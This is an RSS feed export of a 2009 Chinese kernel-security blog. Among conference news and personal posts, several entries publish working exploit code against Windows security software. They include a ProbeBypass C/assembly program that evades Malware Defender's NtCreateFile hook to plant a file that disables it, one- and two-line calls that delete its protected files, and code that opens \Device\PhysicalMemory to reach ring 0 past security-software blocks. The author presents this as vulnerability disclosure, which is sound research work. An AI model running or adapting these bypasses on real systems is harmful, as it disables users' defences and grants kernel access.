<?xml version="1.0" encoding="gb2312"?>
<rss version="2.0">
<channel>
<title><![CDATA[MJ0011的内核驱动研究所]]></title>
        <image>
        <title>http://hi.baidu.com</title>
        <link>http://hi.baidu.com</link>
        <url>http://img.baidu.com/img/logo-hi.gif</url>
        </image>
<description><![CDATA[内核技术、Rootkit/Anti-Rootkit、网络安全]]></description>
<link>http://hi.baidu.com/mj0011</link>
<language>zh-cn</language>
<generator>www.baidu.com</generator>
<ttl>5</ttl>


<item>
        <title><![CDATA[VmxArk 相关源码开放]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/c2fa1b7ba433edfe0ad187d2.html]]></link>
        <description><![CDATA[
		
		<p> </p>
<p>2009.11.4~11.6，我在韩国的Power Of Community(PoC)会议上演讲关于在Vmware外部分析内部操作系统，并进行Rootkit检测的相关议题:&lt;&lt;Analysis OS And Detection Rootkit Outside The VMWare&gt;&gt;</p>
<p>PoC是韩国最大的国际性安全与黑客相关会议：<a href="http://www.powerofcommunity.net/home.html">http://www.powerofcommunity.net/home.html</a></p>
<p>这里公开我在这里议题中涉及到的相关源代码，包括了用来检测Vmware Memory block的驱动:vmmdetect.sys，可进行枚举、访问、冻结/恢复等操作的VMX内存访问库，以及一个使用这个访问库实现的，具备完整功能的Anti-Rootkit工具。</p>
<p><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/mj0011/pic/item/c4babc6eabeb2af481cb4aa9.jpg"><br>
</span></p>
<p>目前这套工具支持外部系统为VISTA或XP（由于对vmmdetect.sys的依赖，你也可以自己移植到其他平台，例如WIN2000,2003 , 或WINDOWS 7 ，很简单），支持的内部系统为WINDOWS XP（依赖于ARK的分析功能，和VMX的一部分处理，你也可以在此基础上进行移植）。</p>
<p> </p>
<p>下载地址：</p>
<p><a href="http://code.google.com/p/vmxark/downloads/list">http://code.google.com/p/vmxark/downloads/list</a></p>
<p>若主办方同意，以后我也会开放相关的paper下载。</p>
<p> </p>
<p> </p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/c2fa1b7ba433edfe0ad187d2.html#comment">查看评论</a>]]></description>
        <pubDate>2009-11-06  16:04</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/c2fa1b7ba433edfe0ad187d2.html</guid>
</item>

<item>
        <title><![CDATA[关于1万小时定律，兼谈最近的MD事件]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/d529e31f6fbee569f724e456.html]]></link>
        <description><![CDATA[
		
		<p>今天去ADVDBG找一个很老的资料，无意中发现了Raymond的一篇文章：《也谈1万小时定律 》</p>
<p><a href="http://advdbg.org/blogs/advdbg_system/articles/3204.aspx">http://advdbg.org/blogs/advdbg_system/articles/3204.aspx</a></p>
<p>很有感触，也算了一下，接触程序、逆向、底层也有6年之久了，每天花费的时间，差不多在10~12个小时，那么取个平均数，11*365(节假日不休）*6= 24090，二万小时多一点。</p>
<p>前一万小时，在学校，在和我的电子设备TEAM奔波于祖国南端的时间里，基本花费在了反汇编、汇编，和硬件打交道的日子上，这部分功夫本博的读者是看不到了。后一万小时，在祖国的首都，则开始和Windows开始挂钩，逆向，内核，安全，等等。</p>
<p>诸位网友，只要是智商不是太差，谁下到了这个功夫，就能达到和我一样的水平，都是正常人类，没什么区别。世上无难事，巴拉巴拉巴拉，虽然很俗，但确实有道理。</p>
<p>反之看最近的MD事件，最初是在公司某事件熬夜时，无聊中下载了MD,CIS等软件，本意是想学习一下，看到MD的Probe处理后，便想起了去年曾和某些人意淫过的ProbeBypass技术，于是实践了一下，既然实践成功后不免发出来分享一下。</p>
<p>可是后来的事情有些让我出乎意料，卡饭上MD区的网友们反映超过我的想象，SANDWORM也迅速补上了这个漏洞，于是起了争胜之心，接下来连着五次破掉了升级后的MD。其实，挖掘这些攻击方法对我来说确实很简单，在内核攻击防御这块做熟了，看一眼IDA自然知道目标程序哪里没处理好。</p>
<p>只是这样会带来一些不好的影响，因为很多时候可能不需要多少的技术水平，不需要对这些保护做分析，直接照抄或者修改网上一些现成的方法、手段，也可以突破安全软件保护，由于这样可以轻易地获得战胜安全软件的虚假的满足，一些新入门的小孩可能就以此为荣，沉浸到对保护突破的快感，而不是技术追求的渴望上去了，这很明显是错误的。我的本意只是共享ProbeBypass这个精妙的技巧，而不是要攻破某某。</p>
<p>构建一个完备、考虑用户感受和兼容性的保护系统，远远比突破它的技术要难得多，尤其是在拥有大用户量基数的产品上。以微软这样的庞然大物，高手如云，也要在接到报告很久后，才能修补漏洞，不是因为不知道怎么修补，而是他们要考虑的问题远比漏洞攻击和挖掘者多得多。在保证用户体验，兼容性和稳定性的前提下，增强安全防护的能力，这才是高深的技术。&nbsp;&nbsp;  相比之下，这些攻击方法的挖掘，尤其是非建立在对攻击系统分析的基础上的挖掘（其实那样已不叫挖掘，叫做抄袭或盲人摸象吧 呵呵）， 显然根本没有多少技术含量。</p>
<p>不过此次MD事件，据某人说也具有了一些正面的影响，那就是让很多原本不了解这方面道理的卡饭的网友，了解了HIPS的防护不是绝对安全的，了解了HIPS的保护其实并不见得比常规的带防御能力的安全软件强，为什么平时看起来HIPS很坚固，但专业人员却能很轻易地突破，了解了怎么样的设计考虑才是面向大多数用户的。让他们对什么是真正优秀的安全防护软件有一个正确的标准。如果说这些目的能达到，并且这些影响能随着卡饭的网友向外传播，那么最近这两天，我还算没有白练输入法：）</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/d529e31f6fbee569f724e456.html#comment">查看评论</a>]]></description>
        <pubDate>2009-11-03  21:26</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/d529e31f6fbee569f724e456.html</guid>
</item>

<item>
        <title><![CDATA[二行代码再破MD文件保护]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/6e5a22faca402414a9d31121.html]]></link>
        <description><![CDATA[
		
		<p>下午Malware Defender更新了2.4.3，根据我的帖子内容更新了驱动，封了FILE_DELETE_ON_CLOSE的常规方式。晚上睡醒了看了一眼更新的程序，新驱动FD保护仍是很弱。随便变换了一下，重新让FILE_DELETE_ON_CLOSE攻击方式起效了</p>
<p>这是第三次发出突破MD文件保护的代码，目前所有的攻击都是针对MD对NtCreateFile钩子的处理，而MD剩下的钩子还有3，40处左右~光是NtCreateFile,目前至少还有5种左右的攻击方式 :)</p>
<p> </p>
<p>此方式测试对2.4.3版本有效，同上个测试程序一样，可选择任意MD保护文件删除</p>
<p>示例代码如下：</p>
<p>DefineDosDeviceW(DDD_RAW_TARGET_PATH , L&quot;killmdx&quot; , L&ldquo;\\??\\c:\\program files\\malware defender\\mdlog.txt&quot;);</p>
<p>CreateFile(&quot;<a>\\\\.\\killmdx</a>&quot; ,&nbsp;&nbsp;  DELETE ,&nbsp;&nbsp;&nbsp;  0,&nbsp;&nbsp;  0,&nbsp;&nbsp;  OPEN_EXISTING ,&nbsp;&nbsp;  FILE_FLAG_DELETE_ON_CLOSE,0);</p>
<p>测试程序：<a href="http://mj0011.ys168.com/">http://mj0011.ys168.com</a> 漏洞演示目录下 mdvuln_2.rar</p>
<p> </p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/6e5a22faca402414a9d31121.html#comment">查看评论</a>]]></description>
        <pubDate>2009-10-30  19:44</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/6e5a22faca402414a9d31121.html</guid>
</item>

<item>
        <title><![CDATA[一行代码突破MD的文件保护]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/9cc6932656459f1d8b82a150.html]]></link>
        <description><![CDATA[
		
		<p>昨天爆了一个通用的攻击技巧，其中提到了MD在这个攻击技巧上存在的漏洞，简单举了个可突破其文件保护的漏洞，来作为演示。作者今天早上根据我的帖子做了更新。不过要突破MD的文件保护，根本不需要这么高深的技巧，只需要一行代码就可以了（测试对2.4.2 final有效）</p>
<p>HANDLE hfile = CreateFileW(FilePath,DELETE,FILE_SHARE_READ | FILE_SHARE_WRITE,0,OPEN_EXISTING,&nbsp;&nbsp;  FILE_FLAG_DELETE_ON_CLOSE,0);</p>
<p>FilePath为任意要删除的MD文件，当然被加载和被运行的DLL，EXE不行，可以删除MD的规则、日志和核心驱动文件等。</p>
<p>这里提供一个DEMO程序，可选择任意要删除的MD被保护文件</p>
<p><a href="http://mj0011.ys168.com/">http://mj0011.ys168.com</a> 漏洞演示下mdvuln.rar</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/9cc6932656459f1d8b82a150.html#comment">查看评论</a>]]></description>
        <pubDate>2009-10-30  13:38</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/9cc6932656459f1d8b82a150.html</guid>
</item>

<item>
        <title><![CDATA[ProbeBypass攻击技术]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/696f2bf3cde1695a352acc85.html]]></link>
        <description><![CDATA[
		
		<p>本文介绍了一种方法，利用很多安全防御软件在进行用户态内存校验时的漏洞，对其保护系统进行攻击，达到绕过保护的目的。</p>
<p>这是安全防御软件对于用户态内存校验未能慎重处理而引发的恶果之一。去年10月我曾在对国内外绝大部分主动防御产品的系列漏洞文章中，揭示了同样由于对用户态内存校验不慎重，导致的一些本地内核模式拒绝访问漏洞的问题，这里我将介绍利用这类漏洞进行的攻击绕过方法，这个漏洞是我去年发现并在内部圈子做过一些讨论的，现在我将它公开出来。</p>
<p>本文会以Malware Defender最新版 2.4.1的实际存在的漏洞为例，来讲解这个攻击方法，但并不代表仅有这个安全软件存在漏洞，市面上大部分带防御驱动的安全产品都存在此漏洞。</p>
<p>很多安全防御软件在进行用户态内存的校验时，会使用 ProbeForRead函数，这个函数的源代码如下：</p>
<p>&nbsp;&nbsp;  if (Length != 0) {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  if (((ULONG_PTR)Address &amp; (Alignment - 1)) != 0) {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ExRaiseDatatypeMisalignment();</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  } else if ((((ULONG_PTR)Address + Length) &gt; (ULONG_PTR)MM_USER_PROBE_ADDRESS) ||<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  (((ULONG_PTR)Address + Length) &lt; (ULONG_PTR)Address)) {</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  *(volatile UCHAR * const)MM_USER_PROBE_ADDRESS = 0;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  }<br>
&nbsp;&nbsp;&nbsp;  }</p>
<p>我们可以看到它实际做了这么两件事：</p>
<p>1.检查缓存长度不为0后，检查内存是否按指定的字节数对其</p>
<p>2.检查整个缓存区是否位于用户态内存范围内</p>
<p>这两个检查任意一个不成功，该函数都会引发一个异常，通常防御软件的驱动程序会在调用这个API的函数内设置try_except,并由其来捕获异常。通常在安全软件的HOOK过滤函数中，当捕获到这个异常，会直接放行这个操作</p>
<p>那么很容易想到，如果过滤函数中，未能正确设置要对齐的字节数，例如，过滤函数中，对某个缓存设置的对齐字节数为2，那么若缓存地址并未按2对齐，这时过滤驱动就会放行这个函数请求。但是如果Windows内核中，对这个缓存并不需要其按2对其进行检查，那么这个请求就会成功执行了。。</p>
<p>以Malware Defender为例，其核心驱动mdcore.sys(2.4.0.0 Final , CheckSum:4AE56 Timestamp:0x4AE7D795)，对NtCreateFile的挂钩中有这样的处理</p>
<p>HookedNtCreateFile(....)</p>
<p>{</p>
<p>IncRefCnt(NT_CREATE_FILE_INDEX);</p>
<p>... //省略无关代码</p>
<p>__try</p>
<p>{</p>
<p>ProbeForRead(ObjectAttributes , sizeof(OBJECT_ATTRIBUTES) , 1);</p>
<p><strong><font color="#ff0000">ProbeForRead(ObjectAttributes-&gt;ObjectName , sizeof(UNICODE_STRING) , sizeof(WORD));</font></strong></p>
<p>///省略无关代码</p>
<p>}</p>
<p>__except(EXCEPTION_EXECUTE_HANDLER)</p>
<p>{</p>
<p>bPassRequest = TRUE ;</p>
<p>}</p>
<p>if (bPassRequest)</p>
<p>{</p>
<p>///此处调用原始函数，放行操作</p>
<p>}</p>
<p> </p>
<p>可以看到，MD对ObjectAttributes的ObjectName参数进行ProbeForRead时，使用了对齐字节数 2 ， 但系统对这个参数的对齐是如何处理的呢？</p>
<p>实际上NtCreateFile对这个参数的处理位于:NtCreateFile-&gt;IoCreateFile-&gt;IopCreateFile-&gt;ObOpenObjectByName-&gt;ObpCaptureObjectCreateInformation-&gt;ObpCaptureObjectName中</p>
<p>关键代码如下：</p>
<p>&nbsp;&nbsp;&nbsp;  try {</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  if (ProbeMode != KernelMode) {</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ProbeAndReadUnicodeStringEx(&amp;InputObjectName, ObjectName);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ProbeForRead( InputObjectName.Buffer,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  InputObjectName.Length,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  sizeof(WCHAR) );</p>
<p>.....</p>
<p>ProbeAndReadUnicodeStringEx宏的实现：</p>
<p>#define ProbeAndReadUnicodeString(Source) \<br>
&nbsp;&nbsp;&nbsp;  (((Source) &gt;= (UNICODE_STRING * const)MM_USER_PROBE_ADDRESS) ? \<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  (*(volatile UNICODE_STRING * const)MM_USER_PROBE_ADDRESS) : (*(volatile UNICODE_STRING *)(Source)))</p>
<p>可以看到，系统对这个参数压根没有进行任何字节对齐检查。</p>
<p>因此，我们可以构造一个特殊的NtCreateFile请求，并将ObjectName存放的缓存设置为不按2对齐的，就可以绕过MD的过滤，进行任何创建文件操作，例如，创建一个ws2_32.dll到md的目录下，导致其无法启动（正常MD保护打开时，是无法创建这个文件的）</p>
<p>示例代码如下：</p>
<p>WCHAR Filefname[MAX_PATH] = L&quot;\\??\\c:\\program files\\malware defender\\ws2_32.dll\\&quot;;</p>
<p><br>
HMODULE hmod = GetModuleHandle(&quot;ntdll.dll&quot;);<br>
PVOID pNtCreateFile = GetProcAddress(hmod , &quot;NtCreateFile&quot;);</p>
<p>if (pNtCreateFile == 0)<br>
{<br>
&nbsp;&nbsp;  printf(&quot;cannot get NtCreateFile\n&quot;);<br>
&nbsp;&nbsp;  getchar();<br>
&nbsp;&nbsp;  return 0 ; <br>
}<br>
<br>
HANDLE hFile ; <br>
ULONG FileAccess = DIRECTORY_ALL_ACCESS ;<br>
OBJECT_ATTRIBUTES oba ; <br>
IO_STATUS_BLOCK iosb ; <br>
ULONG FileAttr = FILE_ATTRIBUTE_NORMAL ; <br>
ULONG FileShare = FILE_SHARE_READ | FILE_SHARE_WRITE ;<br>
ULONG CreateDispos = FILE_CREATE ; <br>
ULONG CreateOptions = FILE_DIRECTORY_FILE;<br>
LONG stat ;<br>
UNICODE_STRING uniname ; <br>
uniname.Length = wcslen(Filefname) * sizeof(WCHAR);<br>
uniname.MaximumLength = MAX_PATH * sizeof(WCHAR);<br>
uniname.Buffer = Filefname ; <br>
PVOID pUniName = malloc(0x1000);<br>
while (((ULONG)pUniName &amp; 1) == 0 )<br>
{<br>
&nbsp;&nbsp;  pUniName = (PVOID)((ULONG)pUniName + 1) ; <br>
}</p>
<p>CopyMemory(pUniName , &amp;uniname , sizeof(UNICODE_STRING));<br>
<br>
<br>
InitializeObjectAttributes(&amp;oba , (PUNICODE_STRING)pUniName , OBJ_CASE_INSENSITIVE , 0 , 0 );<br>
__asm<br>
{</p>
<p>&nbsp;&nbsp;  push 0<br>
&nbsp;&nbsp;  push 0<br>
&nbsp;&nbsp;  push CreateOptions<br>
&nbsp;&nbsp;  push CreateDispos<br>
&nbsp;&nbsp;  push FileShare<br>
&nbsp;&nbsp;  push FileAttr<br>
&nbsp;&nbsp;  push 0<br>
&nbsp;&nbsp;  lea eax , iosb<br>
&nbsp;&nbsp;  push eax<br>
&nbsp;&nbsp;  lea eax ,oba<br>
&nbsp;&nbsp;  push eax<br>
&nbsp;&nbsp;  push FileAccess<br>
&nbsp;&nbsp;  lea eax ,hFile<br>
&nbsp;&nbsp;  push eax<br>
&nbsp;&nbsp;  call pNtCreateFile<br>
&nbsp;&nbsp;  mov stat , eax<br>
}</p>
<p>if (stat != 0 )<br>
{<br>
&nbsp;&nbsp;  printf(&quot;cannot open file %ws %08x\n&quot; , Filefname , stat);<br>
&nbsp;&nbsp;  getchar();<br>
&nbsp;&nbsp;  return 0; <br>
}</p>
<p>printf(&quot;create File OK!\n&quot;);</p>
<p>getchar();<br>
return 0;</p>
<p>攻击结果：</p>
<p><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/mj0011/pic/item/b40ce7242f09121d8644f963.jpg"><br>
</span></p>
<p><span>测试程序下载：</span></p>
<p><span><a href="http://mj0011.ys168.com/">http://mj0011.ys168.com</a> 漏洞演示目录下killmdfile.rar</span></p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/696f2bf3cde1695a352acc85.html#comment">查看评论</a>]]></description>
        <pubDate>2009-10-29  22:26</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/696f2bf3cde1695a352acc85.html</guid>
</item>

<item>
        <title><![CDATA[很久不换首页背景音乐了]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/95ffe703cb96c17d3912bbf2.html]]></link>
        <description><![CDATA[
		
		<p>如题</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/95ffe703cb96c17d3912bbf2.html#comment">查看评论</a>]]></description>
        <pubDate>2009-10-20  23:58</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/95ffe703cb96c17d3912bbf2.html</guid>
</item>

<item>
        <title><![CDATA[DEBUGMAN的邀请码]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/f041a838cf7905c8d56225c7.html]]></link>
        <description><![CDATA[
		
		<p>原先DEBUGMAN为防止机器人注册而使用了邀请注册机制，最近我和XIKUG商议，决定下调DEBUGMAN的邀请码价格，降低至5DM币。如果有需要的朋友可发百度小纸条给我索取DEBUGMAN邀请码。</p>
<p>DEBUGMAN将继续地坚持开放、自由的精神，维持内核、逆向和调试研究的良好气氛，并帮助在技术方面有疑问的朋友，希望各位朋友一如既往地支持第八个男人。</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/f041a838cf7905c8d56225c7.html#comment">查看评论</a>]]></description>
        <pubDate>2009-10-09  22:07</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/f041a838cf7905c8d56225c7.html</guid>
</item>

<item>
        <title><![CDATA[如何从内存基址推算到映射文件的文件偏移]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/5d6d4baf976b93f2fbed50b9.html]]></link>
        <description><![CDATA[
		
		<p>今天遇到一个问题，需要从一块内存基址获取这个基址MapViewOfFile时指定的文件偏移。先是请教了同事A（狙X同学），同事A一口咬定系统不会存储这个信息。</p>
<p>接着请教了同事B（SUXXXX），也表示不知道</p>
<p>于是自己跟踪了一下，得解：</p>
<p>首先通过基址在avl table中定位到基址所在的MmVad结构，然后MmVad-&gt;u2-&gt;LoadFlags2-&gt;FileOffset，就存放着文件的偏移(page based)</p>
<p>大家有什么更优美，更稳定（例如R3实现）的方法，也可以指点一下我</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/5d6d4baf976b93f2fbed50b9.html#comment">查看评论</a>]]></description>
        <pubDate>2009-08-26  23:08</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/5d6d4baf976b93f2fbed50b9.html</guid>
</item>

<item>
        <title><![CDATA[老外也山寨我的csrssvuln]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/66578a5059035c6b8435245e.html]]></link>
        <description><![CDATA[
		
		<p><a href="http://milw0rm.com/exploits/9301">http://milw0rm.com/exploits/9301</a></p>
<p>抄我的方法也就算了，还改成叫本地提权漏洞，代码里明显地去adjust debug权限，打开csrss,哪来的本地提权。。。</p>
<p> </p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/66578a5059035c6b8435245e.html#comment">查看评论</a>]]></description>
        <pubDate>2009-07-31  19:24</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/66578a5059035c6b8435245e.html</guid>
</item>

<item>
        <title><![CDATA[续PhysicalMemory攻击]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/994c18f77569ea2b720eecd1.html]]></link>
        <description><![CDATA[
		
		<p>之前曾讲过通过PhysicalMemory进入RING0的一些绕过攻击方式：(<a href="http://hi.baidu.com/mj0011/blog/item/1c92ed03bea96d80d53f7c00.html">http://hi.baidu.com/mj0011/blog/item/1c92ed03bea96d80d53f7c00.html</a>）</p>
<p>其中提到的为\Device\PhysicalMemory创建符号链接的方式来绕过对ZwOpenSection打开这个Section的拦截，这个实际很多安全软件都已经防御了，例如Comodo , 卡巴，等等，但是他们仅仅是拦截对\Device\PhysicalMemory的Symbolic Link创建，这样足够吗？</p>
<p>答案当然是否定的。我们仔细看\Device\PhyscialMemory这个路径，实际它由\Device这个对象目录和PhysicalMemory这个Section Name组成，那么很简单了，我们创建对\Device这个对象目录的映射，例如叫123,这个不会有人拦截，然后再打开\123\PhysicalMemory, 这样就绕过了拦截，得到了物理内存对象的句柄，轻松进入RING0，具体实现代码如下：</p>
<p>HMODULE hlib = LoadLibrary(&quot;ntdll.dll&quot;);<br>
PVOID pAddr = GetProcAddress(hlib , &quot;ZwOpenSection&quot;);<br>
PVOID pAddr2 = GetProcAddress(hlib , &quot;ZwCreateSymbolicLinkObject&quot;);<br>
HANDLE shandle ;<br>
PHANDLE psechandle = &amp;shandle ; <br>
LONG stat ; <br>
HANDLE symhandle ;<br>
PHANDLE psymhandle = &amp;symhandle;<br>
OBJECT_ATTRIBUTES oba ; <br>
OBJECT_ATTRIBUTES oba2 ; <br>
UNICODE_STRING smbname = RTL_CONSTANT_STRING(L&quot;<a href="file://device/">\\Device</a>&quot;);<br>
UNICODE_STRING linkname = RTL_CONSTANT_STRING(L&quot;<a href="file:///??  123">\\??\\123</a>&quot;);<br>
UNICODE_STRING phname = RTL_CONSTANT_STRING(L&quot;<a href="file:///??  123  PhysicalMemory">\\??\\123\\PhysicalMemory</a>&quot;);</p>
<p>InitializeObjectAttributes(&amp;oba2 , &amp;linkname , 0x40 , 0 , 0);<br>
InitializeObjectAttributes(&amp;oba , &amp;phname , 0x40 , 0 , 0 );<br>
__asm<br>
{<br>
&nbsp;&nbsp;  lea eax ,smbname <br>
&nbsp;&nbsp;  push eax<br>
&nbsp;&nbsp;  lea eax ,oba2<br>
&nbsp;&nbsp;  push eax<br>
&nbsp;&nbsp;  push 1<br>
&nbsp;&nbsp;  push psymhandle<br>
&nbsp;&nbsp;  call pAddr2<br>
&nbsp;&nbsp;  lea eax , oba<br>
&nbsp;&nbsp;  push eax<br>
&nbsp;&nbsp;  push&nbsp;&nbsp;&nbsp;  2<br>
&nbsp;&nbsp;  push psechandle<br>
&nbsp;&nbsp;  call&nbsp;&nbsp;&nbsp;  pAddr<br>
}</p>
<p>有了上面的启发，我们很容易可以想到另外一种攻击方式，来绕过对打开物理内存对象拦截，那就是用ZwOpenDirectoryObject打开\Device这个对象目录，然后设置ZwOpenSection的参数ObjectAttributes的RootDirectory域，设为\Device这个对象目录的句柄，那么同样可以顺利打开物理内存对象的句柄，进入RING0。代码如下：</p>
<p>HMODULE hlib = LoadLibrary(&quot;ntdll.dll&quot;);<br>
PVOID pAddr = GetProcAddress(hlib , &quot;ZwOpenSection&quot;);<br>
PVOID pAddr3 = GetProcAddress(hlib , &quot;ZwOpenDirectoryObject&quot;);<br>
HANDLE shandle ;<br>
PHANDLE psechandle = &amp;shandle ; <br>
LONG stat ; <br>
OBJECT_ATTRIBUTES oba ; <br>
UNICODE_STRING smbname = RTL_CONSTANT_STRING(L&quot;<a href="file://device/">\\Device</a>&quot;);<br>
UNICODE_STRING phname = RTL_CONSTANT_STRING(L&quot;PhysicalMemory&quot;);<br>
HANDLE dirhandle ;<br>
PHANDLE pdirhandle = &amp;dirhandle;<br>
OBJECT_ATTRIBUTES oba3 ;</p>
<p>InitializeObjectAttributes(&amp;oba3 , &amp;smbname , 0x40 , 0 , 0);</p>
<p>__asm<br>
{<br>
&nbsp;&nbsp;  lea eax , oba3<br>
&nbsp;&nbsp;  push eax<br>
&nbsp;&nbsp;  push 1<br>
&nbsp;&nbsp;  push pdirhandle<br>
&nbsp;&nbsp;  call pAddr3<br>
}<br>
InitializeObjectAttributes(&amp;oba , &amp;phname , 0x40 , dirhandle , 0 );</p>
<p>__asm<br>
{<br>
&nbsp;&nbsp;  lea eax , oba<br>
&nbsp;&nbsp;  push eax<br>
&nbsp;&nbsp;  push&nbsp;&nbsp;&nbsp;  2<br>
&nbsp;&nbsp;  push psechandle<br>
&nbsp;&nbsp;  call&nbsp;&nbsp;&nbsp;  pAddr<br>
}</p>
<p> </p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/994c18f77569ea2b720eecd1.html#comment">查看评论</a>]]></description>
        <pubDate>2009-07-24  02:43</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/994c18f77569ea2b720eecd1.html</guid>
</item>

<item>
        <title><![CDATA[简单分析了一下COMODO IS的HIPS部分]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/afa02ac7e124a5d5d10060f6.html]]></link>
        <description><![CDATA[
		
		<p>大部分函数判断都是直接丢进程（或目标进程）到RING3去走黑白名单或规则，这种做法有好处就是比较可靠，反正参数也不判断，直接告诉用户谁谁谁在XXX谁谁谁。</p>
<p>但都丢给用户了，没什么意思。用户全选拒绝，于是很安全，但是大部分程序都挂了，用户全允许，就没安全了，而且貌似默认模式下很多钩子都没效果了~</p>
<p>剩下那些做了一些判断处理的函数里（因为要是这些不处理，弹框就弹死人了）也有一些问题：</p>
<p>驱动拦截时路径名分析有一些问题，可以绕过</p>
<p>消息拦截时对其他进程采用部分拦截，不是很全面，但是对自己进程的拦截采用部分放行，比较可靠。</p>
<p>但是窗口的保护拦截不是很全面。虽然对进程本身没有影响。</p>
<p>SetHook中有我之前说的那个漏洞的问题</p>
<p>LPC拦截很遗憾地没有做svc的</p>
